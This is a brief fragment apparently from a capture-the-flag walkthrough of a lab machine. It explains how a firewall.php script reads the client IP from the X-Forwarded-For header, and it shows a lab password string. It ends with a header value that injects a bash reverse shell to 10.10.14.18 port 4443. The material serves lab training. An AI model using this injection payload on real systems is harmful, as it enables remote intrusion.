Last updated 6 days ago
Was this helpful?
uhc-11qual-global-pw
View how firewall allowed us access to port 22
uhc@union:~$ cat /var/www/html/firewall.php
Breakdown
If HTTP_X_FORWARDED_FOR is set
HTTP_X_FORWARDED_FOR
Set $ip to its value
$ip
Else
Use REMOTE_ADDR for $ip
REMOTE_ADDR
X-FORWARDED-FOR: ;bash -c 'bash -i >& /dev/tcp/10.10.14.18/4443 0>&1';